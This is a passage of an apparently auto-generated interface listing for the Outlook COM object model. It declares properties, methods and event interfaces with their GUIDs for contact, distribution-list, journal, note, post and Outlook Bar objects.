property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get Account: BSTR;

property-put Account(BSTR);

property-get Anniversary: date;

property-put Anniversary(date);

property-get AssistantName: BSTR;

property-put AssistantName(BSTR);

property-get AssistantTelephoneNumber: BSTR;

property-put AssistantTelephoneNumber(BSTR);

property-get Birthday: date;

property-put Birthday(date);

property-get Business2TelephoneNumber: BSTR;

property-put Business2TelephoneNumber(BSTR);

property-get BusinessAddress: BSTR;

property-put BusinessAddress(BSTR);

property-get BusinessAddressCity: BSTR;

property-put BusinessAddressCity(BSTR);

property-get BusinessAddressCountry: BSTR;

property-put BusinessAddressCountry(BSTR);

property-get BusinessAddressPostalCode: BSTR;

property-put BusinessAddressPostalCode(BSTR);

property-get BusinessAddressPostOfficeBox: BSTR;

property-put BusinessAddressPostOfficeBox(BSTR);

property-get BusinessAddressState: BSTR;

property-put BusinessAddressState(BSTR);

property-get BusinessAddressStreet: BSTR;

property-put BusinessAddressStreet(BSTR);

property-get BusinessFaxNumber: BSTR;

property-put BusinessFaxNumber(BSTR);

property-get BusinessHomePage: BSTR;

property-put BusinessHomePage(BSTR);

property-get BusinessTelephoneNumber: BSTR;

property-put BusinessTelephoneNumber(BSTR);

property-get CallbackTelephoneNumber: BSTR;

property-put CallbackTelephoneNumber(BSTR);

property-get CarTelephoneNumber: BSTR;

property-put CarTelephoneNumber(BSTR);

property-get Children: BSTR;

property-put Children(BSTR);

property-get CompanyAndFullName: BSTR;

property-get CompanyLastFirstNoSpace: BSTR;

property-get CompanyLastFirstSpaceOnly: BSTR;

property-get CompanyMainTelephoneNumber: BSTR;

property-put CompanyMainTelephoneNumber(BSTR);

property-get CompanyName: BSTR;

property-put CompanyName(BSTR);

property-get ComputerNetworkName: BSTR;

property-put ComputerNetworkName(BSTR);

property-get CustomerID: BSTR;

property-put CustomerID(BSTR);

property-get Department: BSTR;

property-put Department(BSTR);

property-get Email1Address: BSTR;

property-put Email1Address(BSTR);

property-get Email1AddressType: BSTR;

property-put Email1AddressType(BSTR);

property-get Email1DisplayName: BSTR;

property-get Email1EntryID: BSTR;

property-get Email2Address: BSTR;

property-put Email2Address(BSTR);

property-get Email2AddressType: BSTR;

property-put Email2AddressType(BSTR);

property-get Email2DisplayName: BSTR;

property-get Email2EntryID: BSTR;

property-get Email3Address: BSTR;

property-put Email3Address(BSTR);

property-get Email3AddressType: BSTR;

property-put Email3AddressType(BSTR);

property-get Email3DisplayName: BSTR;

property-get Email3EntryID: BSTR;

property-get FileAs: BSTR;

property-put FileAs(BSTR);

property-get FirstName: BSTR;

property-put FirstName(BSTR);

property-get FTPSite: BSTR;

property-put FTPSite(BSTR);

property-get FullName: BSTR;

property-put FullName(BSTR);

property-get FullNameAndCompany: BSTR;

property-get Gender: OlGender;

property-put Gender(OlGender);

property-get GovernmentIDNumber: BSTR;

property-put GovernmentIDNumber(BSTR);

property-get Hobby: BSTR;

property-put Hobby(BSTR);

property-get Home2TelephoneNumber: BSTR;

property-put Home2TelephoneNumber(BSTR);

property-get HomeAddress: BSTR;

property-put HomeAddress(BSTR);

property-get HomeAddressCity: BSTR;

property-put HomeAddressCity(BSTR);

property-get HomeAddressCountry: BSTR;

property-put HomeAddressCountry(BSTR);

property-get HomeAddressPostalCode: BSTR;

property-put HomeAddressPostalCode(BSTR);

property-get HomeAddressPostOfficeBox: BSTR;

property-put HomeAddressPostOfficeBox(BSTR);

property-get HomeAddressState: BSTR;

property-put HomeAddressState(BSTR);

property-get HomeAddressStreet: BSTR;

property-put HomeAddressStreet(BSTR);

property-get HomeFaxNumber: BSTR;

property-put HomeFaxNumber(BSTR);

property-get HomeTelephoneNumber: BSTR;

property-put HomeTelephoneNumber(BSTR);

property-get Initials: BSTR;

property-put Initials(BSTR);

property-get InternetFreeBusyAddress: BSTR;

property-put InternetFreeBusyAddress(BSTR);

property-get ISDNNumber: BSTR;

property-put ISDNNumber(BSTR);

property-get JobTitle: BSTR;

property-put JobTitle(BSTR);

property-get Journal: bool;

property-put Journal(bool);

property-get Language: BSTR;

property-put Language(BSTR);

property-get LastFirstAndSuffix: BSTR;

property-get LastFirstNoSpace: BSTR;

property-get LastFirstNoSpaceCompany: BSTR;

property-get LastFirstSpaceOnly: BSTR;

property-get LastFirstSpaceOnlyCompany: BSTR;

property-get LastName: BSTR;

property-put LastName(BSTR);

property-get LastNameAndFirstName: BSTR;

property-get MailingAddress: BSTR;

property-put MailingAddress(BSTR);

property-get MailingAddressCity: BSTR;

property-put MailingAddressCity(BSTR);

property-get MailingAddressCountry: BSTR;

property-put MailingAddressCountry(BSTR);

property-get MailingAddressPostalCode: BSTR;

property-put MailingAddressPostalCode(BSTR);

property-get MailingAddressPostOfficeBox: BSTR;

property-put MailingAddressPostOfficeBox(BSTR);

property-get MailingAddressState: BSTR;

property-put MailingAddressState(BSTR);

property-get MailingAddressStreet: BSTR;

property-put MailingAddressStreet(BSTR);

property-get ManagerName: BSTR;

property-put ManagerName(BSTR);

property-get MiddleName: BSTR;

property-put MiddleName(BSTR);

property-get MobileTelephoneNumber: BSTR;

property-put MobileTelephoneNumber(BSTR);

property-get NetMeetingAlias: BSTR;

property-put NetMeetingAlias(BSTR);

property-get NetMeetingServer: BSTR;

property-put NetMeetingServer(BSTR);

property-get NickName: BSTR;

property-put NickName(BSTR);

property-get OfficeLocation: BSTR;

property-put OfficeLocation(BSTR);

property-get OrganizationalIDNumber: BSTR;

property-put OrganizationalIDNumber(BSTR);

property-get OtherAddress: BSTR;

property-put OtherAddress(BSTR);

property-get OtherAddressCity: BSTR;

property-put OtherAddressCity(BSTR);

property-get OtherAddressCountry: BSTR;

property-put OtherAddressCountry(BSTR);

property-get OtherAddressPostalCode: BSTR;

property-put OtherAddressPostalCode(BSTR);

property-get OtherAddressPostOfficeBox: BSTR;

property-put OtherAddressPostOfficeBox(BSTR);

property-get OtherAddressState: BSTR;

property-put OtherAddressState(BSTR);

property-get OtherAddressStreet: BSTR;

property-put OtherAddressStreet(BSTR);

property-get OtherFaxNumber: BSTR;

property-put OtherFaxNumber(BSTR);

property-get OtherTelephoneNumber: BSTR;

property-put OtherTelephoneNumber(BSTR);

property-get PagerNumber: BSTR;

property-put PagerNumber(BSTR);

property-get PersonalHomePage: BSTR;

property-put PersonalHomePage(BSTR);

property-get PrimaryTelephoneNumber: BSTR;

property-put PrimaryTelephoneNumber(BSTR);

property-get Profession: BSTR;

property-put Profession(BSTR);

property-get RadioTelephoneNumber: BSTR;

property-put RadioTelephoneNumber(BSTR);

property-get ReferredBy: BSTR;

property-put ReferredBy(BSTR);

property-get SelectedMailingAddress: OlMailingAddress;

property-put SelectedMailingAddress(OlMailingAddress);

property-get Spouse: BSTR;

property-put Spouse(BSTR);

property-get Suffix: BSTR;

property-put Suffix(BSTR);

property-get TelexNumber: BSTR;

property-put TelexNumber(BSTR);

property-get Title: BSTR;

property-put Title(BSTR);

property-get TTYTDDTelephoneNumber: BSTR;

property-put TTYTDDTelephoneNumber(BSTR);

property-get User1: BSTR;

property-put User1(BSTR);

property-get User2: BSTR;

property-put User2(BSTR);

property-get User3: BSTR;

property-put User3(BSTR);

property-get User4: BSTR;

property-put User4(BSTR);

property-get UserCertificate: BSTR;

property-put UserCertificate(BSTR);

property-get WebPage: BSTR;

property-put WebPage(BSTR);

property-get YomiCompanyName: BSTR;

property-put YomiCompanyName(BSTR);

property-get YomiFirstName: BSTR;

property-put YomiFirstName(BSTR);

property-get YomiLastName: BSTR;

property-put YomiLastName(BSTR);

function ForwardAsVcard: ^MailItem;

property-get Links: ^Links;

Dispatch _DistListItem;

GUID={00063081-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get DLName: BSTR;

property-put DLName(BSTR);

property-get MemberCount: I4;

property-get CheckSum: I4;

property-get Members: variant;

property-put Members(variant);

property-get OneOffMembers: variant;

property-put OneOffMembers(variant);

property-get Links: ^Links;

function AddMembers(Recipients:^Recipients);

function RemoveMembers(Recipients:^Recipients);

function GetMember(Index:I4): ^Recipient;

Dispatch _DocumentItem;

GUID={00063020-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get Links: ^Links;

Dispatch ExplorersEvents;

GUID={00063078-0000-0000-C000-000000000046};

function NewExplorer(Explorer:^_Explorer);

Dispatch FoldersEvents;

GUID={00063076-0000-0000-C000-000000000046};

function FolderAdd(Folder:^MAPIFolder);

function FolderChange(Folder:^MAPIFolder);

function FolderRemove;

Dispatch InspectorsEvents;

GUID={00063079-0000-0000-C000-000000000046};

function NewInspector(Inspector:^_Inspector);

Dispatch ItemsEvents;

GUID={00063077-0000-0000-C000-000000000046};

function ItemAdd(Item:IDispatch);

function ItemChange(Item:IDispatch);

function ItemRemove;

Dispatch _JournalItem;

GUID={00063022-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get ContactNames: BSTR;

property-put ContactNames(BSTR);

property-get DocPosted: bool;

property-put DocPosted(bool);

property-get DocPrinted: bool;

property-put DocPrinted(bool);

property-get DocRouted: bool;

property-put DocRouted(bool);

property-get DocSaved: bool;

property-put DocSaved(bool);

property-get Duration: I4;

property-put Duration(I4);

property-get End: date;

property-put End(date);

property-get Type: BSTR;

property-put Type(BSTR);

property-get Recipients: ^Recipients;

property-get Start: date;

property-put Start(date);

function Forward: ^MailItem;

function Reply: ^MailItem;

function ReplyAll: ^MailItem;

function StartTimer;

function StopTimer;

property-get Links: ^Links;

Dispatch NameSpaceEvents;

GUID={0006308C-0000-0000-C000-000000000046};

function OptionsPagesAdd(Pages:^PropertyPages; Folder:^MAPIFolder);

Dispatch _NoteItem;

GUID={00063025-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Color: OlNoteColor;

property-put Color(OlNoteColor);

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get GetInspector: ^_Inspector;

property-get Height: I4;

property-put Height(I4);

property-get LastModificationTime: date;

property-get Left: I4;

property-put Left(I4);

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Saved: bool;

property-get Size: I4;

property-get Subject: BSTR;

property-get Top: I4;

property-put Top(I4);

property-get Width: I4;

property-put Width(I4);

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get Links: ^Links;

Dispatch OutlookBarGroup;

GUID={00063073-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Name: BSTR;

property-put Name(BSTR);

property-get Shortcuts: ^_OutlookBarShortcuts;

property-get ViewType: OlOutlookBarViewType;

property-put ViewType(OlOutlookBarViewType);

Dispatch _OutlookBarShortcuts;

GUID={00063074-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^OutlookBarShortcut;

function Add(Target:variant; Name:BSTR; [Index:variant]): ^OutlookBarShortcut;

function Remove(Index:variant);

Dispatch OutlookBarShortcut;

GUID={00063075-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Name: BSTR;

property-put Name(BSTR);

property-get Target: variant;

Dispatch _OutlookBarGroups;

GUID={00063072-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): ^OutlookBarGroup;

function Add(Name:BSTR; [Index:variant]): ^OutlookBarGroup;

function Remove(Index:variant);

Dispatch OutlookBarGroupsEvents;

GUID={0006307B-0000-0000-C000-000000000046};

function GroupAdd(NewGroup:^OutlookBarGroup);

function BeforeGroupAdd(Cancel:^bool);

function BeforeGroupRemove(Group:^OutlookBarGroup; Cancel:^bool);

Dispatch _OutlookBarPane;

GUID={00063070-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Contents: ^OutlookBarStorage;

property-get CurrentGroup: ^OutlookBarGroup;

property-putref CurrentGroup(^OutlookBarGroup);

property-get Name: BSTR;

property-get Visible: bool;

property-put Visible(bool);

Dispatch OutlookBarStorage;

GUID={00063071-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Groups: ^_OutlookBarGroups;

Dispatch OutlookBarPaneEvents;

GUID={0006307A-0000-0000-C000-000000000046};

function BeforeNavigate(Shortcut:^OutlookBarShortcut; Cancel:^bool);

function BeforeGroupSwitch(ToGroup:^OutlookBarGroup; Cancel:^bool);

Dispatch OutlookBarShortcutsEvents;

GUID={0006307C-0000-0000-C000-000000000046};

function ShortcutAdd(NewShortcut:^OutlookBarShortcut);

function BeforeShortcutAdd(Cancel:^bool);

function BeforeShortcutRemove(Shortcut:^OutlookBarShortcut; Cancel:^bool);

Interface PropertyPage;

GUID={0006307E-0000-0000-C000-000000000046};

function GetPageInfo(out HelpFile:^BSTR; out HelpContext:^I4): HResult;

property-get Dirty(out Dirty:^bool): HResult;

function Apply: HResult;

Dispatch PropertyPageSite;

GUID={0006307F-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

function OnStatusChange;

Dispatch Pages;

GUID={0006303F-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Count: I4;

function Item(Index:variant): IDispatch;

function Add([Name:variant]): IDispatch;

function Remove(Index:I4);

Dispatch _PostItem;

GUID={00063024-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

property-get UnRead: bool;

property-put UnRead(bool);

property-get UserProperties: ^UserProperties;

function Close(SaveMode:OlInspectorClose);

function Copy: IDispatch;

function Delete;

function Display([Modal:variant]);

function Move(DestFldr:^MAPIFolder): IDispatch;

function PrintOut;

function Save;

function SaveAs(Path:BSTR; [Type:variant]);

property-get ExpiryTime: date;

property-put ExpiryTime(date);

property-get HTMLBody: BSTR;

property-put HTMLBody(BSTR);

property-get ReceivedTime: date;

property-get SenderName: BSTR;

property-get SentOn: date;

function ClearConversationIndex;

function Forward: ^MailItem;

function Post;

function Reply: ^MailItem;

property-get Links: ^Links;

Dispatch _RemoteItem;

GUID={00063023-0000-0000-C000-000000000046};

function QueryInterface(riid:^GUID; out ppvObj:^^void);

function AddRef: UI4;

function Release: UI4;

function GetTypeInfoCount(out pctinfo:^UINT);

function GetTypeInfo(itinfo:UINT; lcid:UI4; out pptinfo:^^void);

function GetIDsOfNames(riid:^GUID; rgszNames:^^I1; cNames:UINT; lcid:UI4; out rgdispid:^I4);

function Invoke(dispidMember:I4; riid:^GUID; lcid:UI4; wFlags:UI2; pdispparams:^DISPPARAMS; out pvarResult:^variant; out pexcepinfo:^EXCEPINFO; out puArgErr:^UINT);

property-get Application: ^_Application;

property-get Class: OlObjectClass;

property-get Session: ^_NameSpace;

property-get Parent: IDispatch;

property-get Actions: ^Actions;

property-get Attachments: ^Attachments;

property-get BillingInformation: BSTR;

property-put BillingInformation(BSTR);

property-get Body: BSTR;

property-put Body(BSTR);

property-get Categories: BSTR;

property-put Categories(BSTR);

property-get Companies: BSTR;

property-put Companies(BSTR);

property-get ConversationIndex: BSTR;

property-get ConversationTopic: BSTR;

property-get CreationTime: date;

property-get EntryID: BSTR;

property-get FormDescription: ^FormDescription;

property-get GetInspector: ^_Inspector;

property-get Importance: OlImportance;

property-put Importance(OlImportance);

property-get LastModificationTime: date;

property-get MAPIOBJECT: IUnknown;

property-get MessageClass: BSTR;

property-put MessageClass(BSTR);

property-get Mileage: BSTR;

property-put Mileage(BSTR);

property-get NoAging: bool;

property-put NoAging(bool);

property-get OutlookInternalVersion: I4;

property-get OutlookVersion: BSTR;

property-get Saved: bool;

property-get Sensitivity: OlSensitivity;

property-put Sensitivity(OlSensitivity);

property-get Size: I4;

property-get Subject: BSTR;

property-put Subject(BSTR);

